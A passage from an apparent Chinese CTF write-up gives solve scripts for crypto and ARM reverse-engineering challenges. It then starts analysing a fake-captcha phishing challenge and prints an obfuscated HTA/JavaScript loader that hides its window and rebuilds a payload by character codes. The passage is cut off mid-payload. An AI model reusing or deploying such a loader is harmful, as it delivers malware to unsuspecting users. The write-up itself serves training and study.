高斯消元:在 GF (2) 域上执行高斯消元,求解方程组得到k_0~k_599(即key的每一位)。

步骤 5:验证key并解密 flag

还原key:将求解得到的k_0~k_599拼接为二进制串,转换为整数即得key。

验证正确性:用样本验证(popcount(nonce_i & key)) % 2是否等于b_i,确认key正确。

解密 flag:

计算 AES 密钥:md5(str(key).encode()).digest()。

使用 AES-CTR 模式,nonce=b"Tiffany",解密密文得到 flag。

# solve_space_travel.py  
import re, ast, numpy as np  
from hashlib import md5  
from Crypto.Cipher import AES  
from params import vecs  # 4096个16位向量  
# 读取 output.txt  
with open("output.txt","r",encoding="utf-8") as f:  
    out = f.read()  
  
# --- 解析 "�� :" 数据为 [(nonce, parity), ...] ---  
gift_text = re.search(r"��\s*:\s*(\[\[.*?\]\])\s*��", out, re.S).group(1)  
gift = ast.literal_eval(gift_text)  # 600 对 (nonce, bit)  
  
# --- 解析 "�� :" 的 bytes 字面量(不是hex!)---  
bytes_lit = re.search(r"��\s*:\s*(b'.*?')", out, re.S).group(1)  
cipher = ast.literal_eval(bytes_lit)  # -> bytes  
  
# ---- 构造 A·x=b(GF(2)),x为800位的key比特(LSB对齐)----  
m, n = len(gift), 16*50  # 600, 800  
A = np.zeros((m, n), dtype=np.uint8)  
b = np.zeros(m, dtype=np.uint8)  
for i,(nonce, par) in enumerate(gift):  
    for j in range(n):           # LSB 对齐  
        A[i, j] = (nonce >> j) & 1  
    b[i] = par & 1  
  
# ---- 从 vecs 推出每个16bit块的仿射约束 H v = h0(4条/块,共200条)----  
# vecs 是 4096(=2^12) 个 16 位向量,形成 12 维仿射子空间;求其差分子空间的零空间得到 4×16 的 H  
V = np.array([[int(c) for c in s] for s in vecs], dtype=np.uint8)  # MSB顺序  
v0 = V[0]  
D = (V ^ v0)  # 差分行张成线性子空间,维度=12  
# 行化简取基  
B = D.copy()  
r=0; piv=[]  
for c in range(16):  
    p = next((i for i in range(r, B.shape[0]) if B[i,c]), None)  
    if p is None: continue  
    if p!=r: B[[r,p]] = B[[p,r]]  
    for i in range(B.shape[0]):  
        if i!=r and B[i,c]:  
            B[i] ^= B[r]  
    piv.append(c); r+=1  
    if r==12: break  
  
pivot=set(piv)  
free=[c for c in range(16) if c not in pivot]  
H=[]  
for f in free:  
    h=np.zeros(16, dtype=np.uint8); h[f]=1  
    for i,pc in enumerate(piv):  
        # RREF: h[pc] = sum(B[i,free]*h[free])  
        if B[i,f]:  
            h[pc] ^= 1  
    H.append(h)  
H = np.array(H, dtype=np.uint8)          # 4 x 16  
h0 = (H @ v0) % 2                         # 4  
  
# 将每块的 H v = h0 写成对整体 x 的线性约束(注意块内bit需反转LSB->MSB)  
A2 = np.zeros((50*H.shape[0], n), dtype=np.uint8)  
b2 = np.zeros(50*H.shape[0], dtype=np.uint8)  
row = 0  
for blk in range(50):  
    for rH in range(H.shape[0]):  
        for j_msb in range(16):  
            if H[rH, j_msb]:  
                j_lsb = 15 - j_msb  
                A2[row, blk*16 + j_lsb] ^= 1  
        b2[row] = h0[rH]  
        row += 1  
  
# 合并两类方程并高斯消元到RREF  
Aall = np.vstack([A, A2])  
ball = np.concatenate([b, b2])  
Aug  = np.concatenate([Aall, ball.reshape(-1,1)], axis=1)  
rows, cols = Aug.shape  
pivots=[-1]*n; r=0  
for c in range(n):  
    p = next((i for i in range(r, rows) if Aug[i,c]), None)  
    if p is None: continue  
    if p!=r: Aug[[r,p]] = Aug[[p,r]]  
    for i in range(rows):  
        if i!=r and Aug[i,c]:  
            Aug[i] ^= Aug[r]  
    pivots[c]=r; r+=1  
    if r>=rows: break  
  
# 提取一个解(自由变量默认0)  
x = np.zeros(n, dtype=np.uint8)  
for c in range(n):  
    if pivots[c] != -1:  
        x[c] = Aug[pivots[c], -1]  
  
# 若还剩一个自由变量,切换它并测试哪一个能解出正常flag  
free_cols = [i for i,p in enumerate(pivots) if p==-1]  
cands = [x]  
if free_cols:  
    f = free_cols[0]  
    x2 = x.copy(); x2[f] ^= 1  
    for c in range(n):  
        if pivots[c] != -1 and Aug[pivots[c], f]:  
            x2[c] ^= 1  
    cands = [x, x2]  
  
def try_decrypt(xbits):  
    key_int = sum((int(xbits[i])<<i) for i in range(n))  
    aes_key = md5(str(key_int).encode()).digest()  
    pt = AES.new(aes_key, AES.MODE_CTR, nonce=b"Tiffany").decrypt(cipher)  
    return pt  
  
flag = None  
for sol in cands:  
    pt = try_decrypt(sol)  
    try:  
        s = pt.decode()  
        if s.startswith(("LILCTF{", "LilCTF{")):  
            flag = s  
            break  
    except:  
        pass  
  
# 输出结果  
if not flag:  
    # 兜底:挑可打印字符更多的一份  
    pts = [(pt, sum(32<=b<127 for b in pt)) for pt in map(try_decrypt, cands)]  
    flag = max(pts, key=lambda t:t[1])[0].decode(errors="replace")  
  
print(flag)

baaaaaag


题目:

from Crypto.Util.number import *
import random
from Crypto.Cipher import AES
import hashlib
from Crypto.Util.Padding import pad
from secret import flag

p = random.getrandbits(72)
assert len(bin(p)[2:]) == 72

a = [getPrime(90) for _ in range(72)]
b = 0
t = p
for i in a:
    temp = t % 2
    b += temp * i
    t = t >> 1

key = hashlib.sha256(str(p).encode()).digest()
cipher = AES.new(key, AES.MODE_ECB)
flag = pad(flag,16)
ciphertext = cipher.encrypt(flag)

print(f'a = {a}')
print(f'b = {b}')
print(f"ciphertext = {ciphertext}")

'''
a = [965032030645819473226880279, 699680391768891665598556373, 1022177754214744901247677527, 680767714574395595448529297, 1051144590442830830160656147, 1168660688736302219798380151, 796387349856554292443995049, 740579849809188939723024937, 940772121362440582976978071, 787438752754751885229607747, 1057710371763143522769262019, 792170184324681833710987771, 912844392679297386754386581, 906787506373115208506221831, 1073356067972226734803331711, 1230248891920689478236428803, 713426848479513005774497331, 979527247256538239116435051, 979496765566798546828265437, 836939515442243300252499479, 1185281999050646451167583269, 673490198827213717568519179, 776378201435505605316348517, 809920773352200236442451667, 1032450692535471534282750757, 1116346000400545215913754039, 1147788846283552769049123803, 994439464049503065517009393, 825645323767262265006257537, 1076742721724413264636318241, 731782018659142904179016783, 656162889354758353371699131, 1045520414263498704019552571, 1213714972395170583781976983, 949950729999198576080781001, 1150032993579134750099465519, 975992662970919388672800773, 1129148699796142943831843099, 898871798141537568624106939, 997718314505250470787513281, 631543452089232890507925619, 831335899173370929279633943, 1186748765521175593031174791, 884252194903912680865071301, 1016020417916761281986717467, 896205582917201847609656147, 959440423632738884107086307, 993368100536690520995612807, 702602277993849887546504851, 1102807438605649402749034481, 629539427333081638691538089, 887663258680338594196147387, 1001965883259152684661493409, 1043811683483962480162133633, 938713759383186904819771339, 1023699641268310599371568653, 784025822858960757703945309, 986182634512707587971047731, 1064739425741411525721437119, 1209428051066908071290286953, 667510673843333963641751177, 642828919542760339851273551, 1086628537309368288204342599, 1084848944960506663668298859, 667827295200373631038775959, 752634137348312783761723507, 707994297795744761368888949, 747998982630688589828284363, 710184791175333909291593189, 651183930154725716807946709, 724836607223400074343868079, 1118993538091590299721647899]
b = 34962396275078207988771864327
ciphertext = b'Lo~G\xf46>\xd609\x8e\x8e\xf5\xf83\xb5\xf0\x8f\x9f6&\xea\x02\xfa\xb1_L\x85\x93\x93\xf7,`|\xc6\xbe\x05&\x85\x8bC\xcd\xe6?TV4q'

解题思路:
已知 b 是 p 二进制位对应 a 中元素的和,p 为 72 位。因 a 中元素为大素数,可贪心求解:从最大 a 元素开始,若 b≥该元素则对应位为 1,减去该元素,依次处理至最小元素,得 p 后用其 SHA256 作密钥解 AES 密文。
先用sagemath脚本进行计算P值:


# ========================= w1.sage =========================
# 72-bit subset sum --> recover p --> key = sha256(str(p)) --> AES-ECB decrypt flag
# Robust solver with progress bars, BKZ escalation, basis randomization, and multi-candidate checks.

from sage.all import *
import sys, time, math, random, hashlib

# --------------------------- Instance ---------------------------
a = [965032030645819473226880279, 699680391768891665598556373, 1022177754214744901247677527, 680767714574395595448529297, 1051144590442830830160656147, 1168660688736302219798380151, 796387349856554292443995049, 740579849809188939723024937, 940772121362440582976978071, 787438752754751885229607747, 1057710371763143522769262019, 792170184324681833710987771, 912844392679297386754386581, 906787506373115208506221831, 1073356067972226734803331711, 1230248891920689478236428803, 713426848479513005774497331, 979527247256538239116435051, 979496765566798546828265437, 836939515442243300252499479, 1185281999050646451167583269, 673490198827213717568519179, 776378201435505605316348517, 809920773352200236442451667, 1032450692535471534282750757, 1116346000400545215913754039, 1147788846283552769049123803, 994439464049503065517009393, 825645323767262265006257537, 1076742721724413264636318241, 731782018659142904179016783, 656162889354758353371699131, 1045520414263498704019552571, 1213714972395170583781976983, 949950729999198576080781001, 1150032993579134750099465519, 975992662970919388672800773, 1129148699796142943831843099, 898871798141537568624106939, 997718314505250470787513281, 631543452089232890507925619, 831335899173370929279633943, 1186748765521175593031174791, 884252194903912680865071301, 1016020417916761281986717467, 896205582917201847609656147, 959440423632738884107086307, 993368100536690520995612807, 702602277993849887546504851, 1102807438605649402749034481, 629539427333081638691538089, 887663258680338594196147387, 1001965883259152684661493409, 1043811683483962480162133633, 938713759383186904819771339, 1023699641268310599371568653, 784025822858960757703945309, 986182634512707587971047731, 1064739425741411525721437119, 1209428051066908071290286953, 667510673843333963641751177, 642828919542760339851273551, 1086628537309368288204342599, 1084848944960506663668298859, 667827295200373631038775959, 752634137348312783761723507, 707994297795744761368888949, 747998982630688589828284363, 710184791175333909291593189, 651183930154725716807946709, 724836607223400074343868079, 1118993538091590299721647899]
b = 34962396275078207988771864327
ciphertext = bytes([0x4c,0x6f,0x7e,0x47,0xf4,0x36,0x3e,0xd6,0x30,0x39,0x8e,0x8e,0xf5,0xf8,0x33,0xb5,0xf0,0x8f,0x9f,0x36,0x26,0xea,0x02,0xfa,0xb1,0x5f,0x4c,0x85,0x93,0x93,0xf7,0x2c,0x60,0x7c,0xc6,0xbe,0x05,0x26,0x85,0x8b,0x43,0xcd,0xe6,0x3f,0x54,0x56,0x34,0x71])

n = len(a)
assert n == 72

# --------------------------- Pretty progress ---------------------------
def pbar(prefix, i, N, width=28):
    done = int(width * i / N)
    bar = '█' * done + '·' * (width - done)
    sys.stdout.write(f"\r{prefix} [{bar}] {i}/{N}")
    sys.stdout.flush()

def step(msg):
    print(f"\n[+] {msg}")

def info(msg):
    print(f"    - {msg}")

# --------------------------- Build embedding ---------------------------
def build_basis(R_scale):
    # B[i,i]=2 ; B[i,n]=2*a[i]*R ; last row: ones, last=2*b*R
    B = Matrix(ZZ, n+1, n+1)
    for i in range(n):
        B[i,i] = 2
        B[i,n] = 2 * a[i] * R_scale
    for j in range(n):
        B[n,j] = 1
    B[n,n] = 2 * b * R_scale
    return B

# --------------------------- Decode candidate vector ---------------------------
def try_decode_vec(v):
    """
    Expect v[-1]==0 and v[:-1] ≈ ±k (odd) pattern.
    Normalize by gcd and sign -> bits = (vi>0).
    """
    if int(v[-1]) != 0:
        return None
    front = [int(x) for x in v[:-1]]
    if any(x == 0 for x in front):
        return None
    # gcd
    g = 0
    for x in front:
        g = math.gcd(g, abs(x))
    if g == 0:
        return None
    # normalize
    front2 = [x // g for x in front]
    # expect ±1 pattern
    if not all(abs(x) == 1 for x in front2):
        # tolerate small noise: if ≥(n-2) entries are ±1 and the rest ±3 (rare multiple), still try sign
        bad = sum(1 for x in front2 if abs(x) != 1)
        if bad > 2:
            return None
    bits = [1 if x > 0 else 0 for x in front2]
    # verify
    if sum(ai*bi for ai,bi in zip(a, bits)) == b:
        return bits
    # Try sign flip
    bits_alt = [1 if x < 0 else 0 for x in front2]
    if sum(ai*bi for ai,bi in zip(a, bits_alt)) == b:
        return bits_alt
    return None

def bits_to_p(bits):
    p = 0
    for i, bit in enumerate(bits):
        if bit:
            p |= (1 << i)
    return p

def decrypt_and_print(p):
    key = hashlib.sha256(str(p).encode()).digest()
    try:
        import Crypto
        from Crypto.Cipher import AES
        raw = AES.new(key, AES.MODE_ECB).decrypt(ciphertext)
        pad = raw[-1]
        flag = raw[:-pad] if 1 <= pad <= 16 and all(bi == pad for bi in raw[-pad:]) else raw
        print(f"[*] p = {p} (hex {p:018x})")
        print(f"[*] key = sha256(str(p)) = {key.hex()}")
        print(f"[*] flag = {flag.decode(errors='ignore')}")
    except Exception as e:
        print(f"[*] p = {p} (hex {p:018x})")
        print(f"[*] key = sha256(str(p)) = {key.hex()}")
        print("from Crypto.Cipher import AES; AES.new(key,AES.MODE_ECB).decrypt(ciphertext)")

# --------------------------- Candidate scanner ---------------------------
def scan_basis(B, max_rows=80, also_shortest=True):
    """
    从基向量与最短向量候选中扫描解;返回 bits 或 None
    """
    rows = list(B.rows())
    rows.sort(key=lambda r: sum(int(x)*int(x) for x in r))  # by norm^2
    total = min(len(rows), max_rows)
    step("扫描候选向量")
    for i in range(total):
        pbar("  - rows", i+1, total)
        bits = try_decode_vec(rows[i])
        if bits is not None:
            print("")  # newline for pbar
            return bits
    print("")  # newline
    if also_shortest:
        step("尝试最短向量 SVP")
        try:
            v = B.shortest_vector()  # fplll backend
            bits = try_decode_vec(v)
            if bits is not None:
                return bits
            v2 = -v
            bits = try_decode_vec(v2)
            if bits is not None:
                return bits
        except Exception as e:
            info(f"SVP 失败:{e}")
    return None

# --------------------------- Basis randomization ---------------------------
def randomize_basis(B, rounds=30):
    """
    在保持格不变的前提下做一些行操作(左乘随机可逆整数矩阵)以扰动基。
    """
    B = Matrix(ZZ, B)  # copy
    m = B.nrows()
    for _ in range(rounds):
        t = randint(0, m-2)  # only mess in first n rows + last row occasionally
        u = randint(0, m-1)
        if t == u: 
            continue
        op = randint(0, 2)
        if op == 0:
            # swap
            B[t,:], B[u,:] = B[u,:], B[t,:]
        elif op == 1:
            # sign flip
            B[t,:] = -B[t,:]
        else:
            # shear: B[u] += k*B[t]
            k = randint(-3, 3)
            if k != 0:
                B[u,:] = B[u,:] + k*B[t,:]
    return B

# --------------------------- Optional Z3 fallback ---------------------------
def z3_fallback():
    try:
        import z3
    except Exception:
        return None
    step("尝试 Z3 伪布尔求解")
    from z3 import Solver, Bool, Sum, If, sat
    s = Solver()
    xs = [Bool(f"x_{i}") for i in range(n)]
    s.add(Sum([If(xs[i], a[i], 0) for i in range(n)]) == b)
    if s.check() != sat:
        info("Z3 无解(异常)")
        return None
    m = s.model()
    bits = [1 if m.eval(xs[i]) is True else 0 for i in range(n)]
    if sum(ai*bi for ai,bi in zip(a,bits)) == b:
        info("Z3 成功")
        return bits
    return None

# --------------------------- Main search ---------------------------
def main():
    print("[*] Start at", time.strftime("%Y-%m-%d %H:%M:%S"))
    R_list = [1, 2, 4, 8, 16, 32, 64, 1<<10, 1<<12, 1<<15]   # 嵌入放缩
    bkz_blocks = [20, 24, 28, 30, 32, 35, 38, 40, 45, 50]    # BKZ block sizes
    tours_per_bs = 2                                         # 每个 block size 执行的 tours 次数

    # 先试 Z3(若存在)
    bits = z3_fallback()
    if bits is not None:
        p = bits_to_p(bits)
        decrypt_and_print(p)
        return

    # 逐 R 尝试
    for ridx, Rscale in enumerate(R_list, 1):
        step(f"构建嵌入矩阵 (R={Rscale}) [{ridx}/{len(R_list)}]")
        B0 = build_basis(Rscale)

        # 先 LLL
        step("LLL 化")
        try:
            B = B0.LLL()
        except Exception as e:
            info(f"LLL 失败:{e}")
            B = Matrix(ZZ, B0)  # fallback

        # 扫描一次
        bits = scan_basis(B)
        if bits is not None:
            p = bits_to_p(bits)
            decrypt_and_print(p)
            return

        # BKZ 逐步加强
        for bidx, beta in enumerate(bkz_blocks, 1):
            step(f"BKZ(block_size={beta}) [{bidx}/{len(bkz_blocks)}]")
            try:
                # 多次 tours,提高稳定性
                for t in range(1, tours_per_bs+1):
                    pbar(f"  - tour", t, tours_per_bs)
                    B = B.BKZ(block_size=beta)
                print("")
            except Exception as e:
                info(f"BKZ 失败:{e}")

            # 扫描
            bits = scan_basis(B)
            if bits is not None:
                p = bits_to_p(bits)
                decrypt_and_print(p)
                return

            # 适度随机化 + LLL 再扫描
            step("随机化基 + LLL 再扫描")
            B_rand = randomize_basis(B, rounds=40).LLL()
            bits = scan_basis(B_rand, max_rows=120, also_shortest=True)
            if bits is not None:
                p = bits_to_p(bits)
                decrypt_and_print(p)
                return

    print("\n[!] 未直接找到解。请增大 BKZ block_size 或延长时间再试(脚本已尽最大策略)。")

if __name__ == "__main__":
    main()
# ====================== end of w1.sage ======================

将sage 跑出来的 p 贴到 crypto,然后把 ciphertext 转成十六进制也贴进 crypto 去解密,以下是解密脚本:
from hashlib import sha256

# 你已求出的结果
p = 4208626653103825685156
key = sha256(str(p).encode()).digest()

ciphertext = bytes([
    0x4c,0x6f,0x7e,0x47,0xf4,0x36,0x3e,0xd6,0x30,0x39,0x8e,0x8e,0xf5,0xf8,0x33,0xb5,
    0xf0,0x8f,0x9f,0x36,0x26,0xea,0x02,0xfa,0xb1,0x5f,0x4c,0x85,0x93,0x93,0xf7,0x2c,
    0x60,0x7c,0xc6,0xbe,0x05,0x26,0x85,0x8b,0x43,0xcd,0xe6,0x3f,0x54,0x56,0x34,0x71
])

raw = None
from Crypto.Cipher import AES
raw = AES.new(key, AES.MODE_ECB).decrypt(ciphertext)

# PKCS#7 去填充
pad = raw[-1]
if 1 <= pad <= 16 and all(b == pad for b in raw[-pad:]):
    flag = raw[:-pad]
else:
    flag = raw

print("[*] p =", p)
print("[*] key =", key.hex())
print("[*] plaintext(raw) =", raw)
print("[*] flag =", flag.decode(errors="ignore"))

Reverse

ARM ASM

查看java层发现有个base64,传入了so层

 

高版本ida可以看arm的伪代码

查看check

 

用t表做字节置换再 与 t 异或

 

再做按 3 字节为组的旋转

 

base64

 

换了表

 


# decode -> inverse-rotate -> inverse vqtbl/xor

table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3456780129+/"

t0 = [0x0D,0x0E,0x0F,0x0C,0x0B,0x0A,0x09,0x08,0x06,0x07,0x05,0x04,0x02,0x03,0x01,0x00]

seq = [0,0,1]  # 三个16字节块分别用 t, t, t^1

def dec(s):

    m={c:i for i,c in enumerate(table)}; buf=bits=0; out=bytearray()

    for ch in s.strip():

        if ch=='=': break

        buf=(buf<<6)|m[ch]; bits+=6

        while bits>=8:

            bits-=8; out.append((buf>>bits)&0xFF); buf&=(1<<bits)-1 if bits else 0

    return bytes(out)

def rol(x,n): return ((x<<n)&0xFF)|((x&0xFF)>>(8-n))

def inv_rotate(z):

    z=bytearray(z); y=bytearray(len(z))

    for j in range(0,len(z),3):

        y[j]=rol(z[j],5); y[j+1]=rol(z[j+1],1); y[j+2]=z[j+2]

    return bytes(y)

def inv_tbl_xor(y):

    X=bytearray(48)

    for b,k in enumerate(seq):

        block=y[16*b:16*(b+1)]

        t=[(t0[i]^k)&0xFF for i in range(16)]

        for i in range(16):

            idx=t[i]; X[16*b+idx]=block[i]^idx

    return bytes(X)

s="KRD2c1XRSJL9e0fqCIbiyJrHW1bu0ZnTYJvYw1DM2RzPK1XIQJnN2ZfRMY4So09S"

print(inv_tbl_xor(inv_rotate(dec(s))).decode())

1'M no7 A rO6oT

解法1:

运行powershell命令

dbg附加powershell

搜索字符串

 

得到LILCTF{83_VIglLAnT_A64iNSt_Ph15hIn9}

解法2

观察powershell命令有个mp3

把mp3提取一下

再把mp3的字符串提取一下

得到这样一坨东西

丢给ai嗦

import re

# 原始混淆代码
obfuscated_js = """
<script>window.resizeTo(0, 0);window.moveTo(-9999, -9999); SK=102;UP=117;tV=110;Fx=99;nI=116;pV=105;wt=111;RV=32;wV=82;Rp=106;kz=81;CX=78;GH=40;PS=70;YO=86;kF=75;PO=113;QF=41;sZ=123;nd=118;Ge=97;sV=114;wl=104;NL=121;Ep=76;uS=98;Lj=103;ST=61;Ix=34;Im=59;Gm=101;YZ=109;Xj=71;Fi=48;dL=60;cX=46;ho=108;jF=43;Gg=100;aV=90;uD=67;Nj=83;US=91;tg=93;vx=45;xv=54;QB=49;WT=125;FT=55;yN=51;ff=44;it=50;NW=53;kX=57;zN=52;Mb=56;Wn=119;sC=65;Yp=88;FF=79;var SxhM = String.fromCharCode(SK,UP,tV,Fx,nI,pV,wt,tV,RV,pV,wt,wV,Rp,kz,CX,GH,PS,YO,kF,PO,QF,sZ,nd,Ge,sV,RV,wt,wl,NL,Ep,uS,Lj,ST,RV,Ix,Ix,Im,SK,wt,sV,RV,GH,nd,Ge,sV,RV,Gm,YZ,Xj,kF,RV,ST,RV,Fi,Im,Gm,YZ,Xj,kF,RV,dL,RV,PS,YO,kF,PO,cX,ho,Gm,tV,Lj,nI,wl,Im,RV,Gm,YZ,Xj,kF,jF,jF,QF,sZ,nd,Ge,sV,RV,tV,Gg,aV,uD,RV,ST,RV,Nj,nI,sV,pV,tV,Lj,cX,SK,sV,wt,YZ,uD,wl,Ge,sV,uD,wt,Gg,Gm,GH,PS,YO,kF,PO,US,Gm,YZ,Xj,kF,tg,RV,vx,RV,xv,Fi,QB,QF,Im,wt,wl,NL,Ep,uS,Lj,RV,ST,RV,wt,wl,NL,Ep,uS,Lj,RV,jF,RV,tV,Gg,aV,uD,WT,sV,Gm,nI,UP,sV,tV,RV,wt,wl,NL,Ep,uS,Lj,WT,Im,nd,Ge,sV,RV,wt,wl,NL,Ep,uS,Lj,RV,ST,RV,pV,wt,wV,Rp,kz,CX,GH,US,FT,QB,yN,ff,RV,FT,QB,it,ff,RV,FT,it,Fi,ff,RV,FT,Fi,it,ff,RV,FT,QB,NW,ff,RV,FT,QB,xv,ff,RV,FT,Fi,NW,ff,RV,FT,Fi,it,ff,RV,FT,Fi,kX,ff,RV,FT,Fi,kX,ff,RV,xv,zN,FT,ff,RV,FT,Fi,it,ff,RV,FT,it,QB,ff,RV,FT,Fi,it,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,FT,it,Fi,ff,RV,xv,yN,yN,ff,RV,xv,NW,Fi,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,FT,Fi,it,ff,RV,FT,QB,yN,ff,RV,xv,yN,yN,ff,RV,xv,Mb,xv,ff,RV,FT,QB,QB,ff,RV,FT,QB,NW,ff,RV,FT,Fi,it,ff,RV,FT,QB,xv,ff,RV,FT,QB,FT,ff,RV,FT,QB,NW,ff,RV,FT,Fi,xv,ff,RV,FT,Fi,Fi,ff,RV,FT,QB,FT,ff,RV,FT,Fi,it,ff,RV,FT,Fi,QB,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,FT,QB,QB,ff,RV,FT,QB,it,ff,RV,FT,QB,yN,ff,RV,xv,yN,yN,ff,RV,xv,yN,FT,ff,RV,xv,FT,Fi,ff,RV,xv,FT,QB,ff,RV,xv,Mb,NW,ff,RV,xv,FT,Fi,ff,RV,xv,yN,yN,ff,RV,xv,xv,it,ff,RV,xv,zN,QB,ff,RV,xv,kX,it,ff,RV,FT,QB,NW,ff,RV,FT,Fi,it,ff,RV,FT,Fi,zN,ff,RV,FT,Fi,it,ff,RV,FT,it,QB,ff,RV,xv,kX,zN,ff,RV,xv,NW,kX,ff,RV,xv,NW,kX,ff,RV,xv,FT,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,QB,FT,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,NW,ff,RV,FT,Fi,it,ff,RV,FT,QB,xv,ff,RV,xv,zN,QB,ff,RV,xv,zN,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,it,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,FT,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,